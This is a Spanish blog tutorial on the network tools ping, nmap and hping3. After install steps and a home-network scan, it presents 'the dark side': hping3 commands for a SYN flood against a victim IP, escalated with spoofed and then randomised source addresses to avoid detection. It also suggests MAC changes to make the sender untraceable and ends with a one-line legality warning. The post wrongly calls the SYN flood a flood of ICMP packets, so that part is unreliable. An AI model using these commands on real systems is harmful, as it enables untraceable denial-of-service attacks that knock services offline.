Una herramienta, o más bien un comando, súper-poderoso de la gestión de redes es el ping. Básicamente muestra información de "alcanzabilidad" y latencia de una red que queremos gestionar o controlar. Pero si a ese comando le dotamos de mayor fuerza, opciones, configurabilidad, etc. Nace hping3 y aquí os queremos explicar el lado oscuro de este útil comando.

Como muchos ya sabéis, o al menos intuís, mi Sistema Operativo base Linux es Fedora (ahora mismo, Fedora 24, aunque muy prontito me pasaré al 25 (cuando se solucionen algunos problemas con Wayland y los comandos que se intentan lanzar en modo gráfico como súper-usuario), aunque eso lo dejamos para otro post, que me desvío muchísimo.

Como decía, que como uso Fedora 24, os explico cómo instalar hping3 en este sistema:

sudo dnf install hping3

Así de simple. Si en lugar de Fedora utilizáis otra distribución, sólo tenéis que cambiar el nombre del gestor de paquetes (dnf) por el vuestro: apt-get, por ejemplo.

Una vez hecho esto, instalamos también (si no lo tenemos ya) otro comando muy útil para "mapear" nuestra red, nmap (de Network Map):

sudo dnf install nmap

nmap es muy simple. Le damos una dirección IP y una máscara y nos mostrará todos los equipos levantados en esa red o subred. Por ejemplo:

nmap -sP 192.168.1.0/24

Devuelve en mi red doméstica:

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-23 19:48 CET
Nmap scan report for 192.168.1.1
Host is up (0.0083s latency).
Nmap scan report for 192.168.1.33
Host is up (0.035s latency).
Nmap scan report for 192.168.1.35
Host is up (0.0014s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.35 seconds

Que básicamente son mi router (la puerta de enlace como le llama Windows), el PC desde el que escribo, y mi móvil o smartphone que tengo al lado. Si os equivocáis en la red o en la máscara, a priori nmap no os advertirá como sí hace ping de que la red es inalcanzable:

--- 192.168.2.0 ping statistics ---
17 packets transmitted, 0 received, 100% packet loss, time 16391ms

 Veamos ahora cómo de diferentes o parecidos son ping y hping3:

$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.51 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=1.46 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=1.44 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=1.52 ms
64 bytes from 192.168.1.1: icmp_seq=5 ttl=64 time=1.45 ms
64 bytes from 192.168.1.1: icmp_seq=6 ttl=64 time=1.50 ms
64 bytes from 192.168.1.1: icmp_seq=7 ttl=64 time=1.40 ms
64 bytes from 192.168.1.1: icmp_seq=8 ttl=64 time=1.45 ms
64 bytes from 192.168.1.1: icmp_seq=9 ttl=64 time=1.42 ms

--- 192.168.1.1 ping statistics ---
9 packets transmitted, 9 received, 0% packet loss, time 8011ms
rtt min/avg/max/mdev = 1.403/1.465/1.525/0.064 ms
$ sudo hping3 192.168.1.1
HPING 192.168.1.1 (wlp2s0 192.168.1.1): NO FLAGS are set, 40 headers + 0 data bytes
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=1.5 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=1.5 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=1.5 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=3 win=0 rtt=1.4 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=4 win=0 rtt=1.4 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=5 win=0 rtt=1.4 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=6 win=0 rtt=15.8 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=7 win=0 rtt=1.3 ms
len=40 ip=192.168.1.1 ttl=64 DF id=0 sport=0 flags=RA seq=8 win=0 rtt=1.4 ms

--- 192.168.1.1 hping statistic ---
9 packets transmitted, 9 packets received, 0% packet loss
round-trip min/avg/max = 1.3/3.0/15.8 ms

 Lo más visible es que hping3 hay que lanzarlo en modo super-usuario o con sudo por delante, además de que devuelve más información que ping. Pero vayamos al grano. ¿Cómo hacer un overflood? Fácil:

$ sudo hping3 -p 80 -S --flood <victim_ip>

¿Qué hemos hecho con este comando? Pues enviar un aluvión a la máxima velocidad (--flood) de paquetes ICMP al puerto 80 (-p 80) de la IP de la víctima (<ip_victim>) activando el flag Syn (-S). Pero podemos mejorarlo:

$ hping3 -a <fake_ip> -p 80 -S --flood <victim_ip>

¿Cómo ha mejorado? Puer porque con -a <fake_ip> falseamos nuestra dirección IP haciéndonos un porquito más indetectables. Pero, ¿se puede mejorar más? Sí:

$ hping3 --rand-source -p 80 -S --flood <victim_ip>

Así, en cada envío de paquete, falsea una IP, con lo que es aún más difícil de detectar. Si a esto le añadimos que podemos cambiar con otro comando la dirección MAC de cada envío, ya casi es imposible averiguar desde qué máquina se está enviando los paquetes...

Y ahora algo obvio: No hagáis esto fuera de vuestra red doméstica o en el contexto de una auditoría de seguridad, ya que os podéis meter en problemas.


¿Erratas? ¿Errores? No dudes en contactar con nosotros en el foro o por e-mail.